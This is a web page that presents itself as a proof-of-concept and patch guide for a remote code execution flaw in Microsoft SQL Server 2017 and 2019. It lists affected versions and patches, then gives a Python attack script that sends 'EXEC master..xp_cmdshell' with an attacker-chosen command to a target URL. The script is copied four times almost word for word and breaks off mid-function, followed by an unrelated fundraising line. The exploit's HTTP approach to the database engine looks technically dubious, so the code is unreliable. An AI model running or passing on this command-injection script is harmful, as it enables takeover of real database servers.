Microsoft SQL Server RCE Vulnerability POC and Patch Guide

Vulnerability Overview This vulnerability exists in the SQL Server Database Engine of Microsoft SQL Server. Due to insufficient validation of objects by SQL Server, an attacker can execute arbitrary code by sending crafted requests to the database engine. Affected Versions Microsoft SQL Server 2017 Microsoft SQL Server 2019 Remediation Upgrade to Microsoft SQL Server 2017 Cumulative Update (CU) 31 or later Upgrade to Microsoft SQL Server 2019 Cumulative Update (CU) 17 or later POC Code ```python import requests import sys import urllib3 import json import base64 import time import subprocess import os import platform urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def title(): print('+------------------------------------------') print('+ \033[34mPOC_DIR: https://github.com/Abelche/POC') print('+ \033[34mPOC Author: Abelche') print('+------------------------------------------') def Target(target_url, cmd): target_url = target_url.strip() if not target_url.startswith("http"): target_url = "http://" + target_url if not target_url.endswith("/"): target_url += "/" url = target_url + "tempdb.dbo.t" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "val=1;EXEC master..xp_cmdshell '" + cmd + "'" try: response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=5) print("\033[35murl:{} \033[0m".format(response.url)) print("\033[35mstatus_code:{} \033[0m".format(response.status_code)) print("\033[35mresponse_text:{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[!] Request Error: {}\033[0m".format(e)) def POC_1(target_url, cmd): target_url = target_url.strip() if not target_url.startswith("http"): target_url = "http://" + target_url if not target_url.endswith("/"): target_url += "/" url = target_url + "tempdb.dbo.t" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "val=1;EXEC master..xp_cmdshell '" + cmd + "'" try: response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=5) print("\033[35murl:{} \033[0m".format(response.url)) print("\033[35mstatus_code:{} \033[0m".format(response.status_code)) print("\033[35mresponse_text:{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[!] Request Error: {}\033[0m".format(e)) def POC_2(target_url, cmd): target_url = target_url.strip() if not target_url.startswith("http"): target_url = "http://" + target_url if not target_url.endswith("/"): target_url += "/" url = target_url + "tempdb.dbo.t" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "val=1;EXEC master..xp_cmdshell '" + cmd + "'" try: response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=5) print("\033[35murl:{} \033[0m".format(response.url)) print("\033[35mstatus_code:{} \033[0m".format(response.status_code)) print("\033[35mresponse_text:{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[!] Request Error: {}\033[0m".format(e)) def POC_3(target_url, cmd): target_url = target_url.strip() if not target_url.startswith("http"): target_url = "http://" + target_url if not target_url.endswith("/"): target_url += "/" url = target_url + "tempdb.dbo.t" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "val=1;EXEC master..xp_cmdshell '" + cmd + "'" try: response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=5) print("\033[35murl:{} \033[0m".format(response.url)) print("\033[35mstatus_code:{} \033[0m".format(response.status_code)) print("\033[35mresponse_text:{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[!] Request Error: {}\033[0m".format(e)) def POC_4(target_url, cmd): target_url = target_url.strip() if not target_url.startswith("http"): target_url = "http://" + target_url if not target_url.endswith("/"): target_url += "/" url = target_url + "tempdb.dbo.t" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "val=1;EXEC master..xp_cmdshell '" + cmd + "'" try: response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=5) print("\033[35murl:{} \033[0m".format(response.url)) print("\033[35mstatus_code:{} \033[0m".format(response.status_code)) print("\033[35mresponse_text:{} \033[0m".format(response.text)) except Exception as e:

Goal Reached Thanks to every supporter — we hit 100%!

Microsoft SQL Server RCE Vulnerability POC and Patch Guide